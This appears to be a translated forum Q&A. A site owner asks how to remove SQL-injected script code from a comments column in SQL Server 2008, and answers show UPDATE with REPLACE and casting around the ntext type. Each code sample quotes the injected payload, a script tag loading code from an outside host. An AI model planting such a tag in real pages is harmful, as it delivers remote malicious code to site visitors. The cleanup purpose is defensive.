2012-03-08 2 views
0

Веб-сайт Я являюсь хостом, недавно был введен SQL, и я хочу найти способ удалить код, вызывающий нарушение, из конкретного столбца (комментариев) в базе данных. Использование SQL Server 2008, я не знаю, почему это не работает:Удаление части текста из столбца таблицы

USE Dirty 
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','') 
FROM SALONS 
+0

Какой ** тип данных ** является 'Комментарии' ?? –

ответ

3

Вы только выбор - не обновляется ....

Попробуйте это:

USE Dirty 

UPDATE dbo.Salons 
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','') 
WHERE (possibly a condition here...) 
+1

избили меня на 4 секунды! – msmucker0527

+0

Я получаю: Msg 8116, уровень 16, состояние 1, строка 3 Тип аргумента ntext недействителен для аргумента 1 функции replace. – user547794

+1

Вы должны использовать nvarchar (max) вместо ntext в качестве времени вашего столбца. (См. Http://msdn.microsoft.com/en-us/library/ms187993.aspx) Возможно, вам придется немного изменить код, в зависимости от того, как вы обрабатывали столбцы ntext, но это того стоит. –

2

Вы ничего не обновляете, просто выбираете. Вам необходимо создать заявление о обновлении

USE Dirty 

UPDATE SALONS 
    SET comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','') 
+0

Я получил: Msg 8116, уровень 16, состояние 1, строка 3 Тип аргумента ntext недействителен для аргумента 1 функции replace. – user547794

-1

Поскольку столбец был «ntext», что вызывало ошибку. Мне удалось исправить это, используя такой листинг:

USE Dirty 
    UPDATE dbo.Salons 
    SET Comments = cast(replace(cast(comments as varchar(8000)),'</title><script src=http://hjfghj.com/r.php ></script>','') as ntext) 
+0

Если вы сделаете это - убедитесь, что вы выбрали 'NVARCHAR (MAX)' !!!! В противном случае вы ограничиваете свои комментарии 8000 символами, и вы также конвертируете их обратно в не-Юникод! –

Смежные вопросы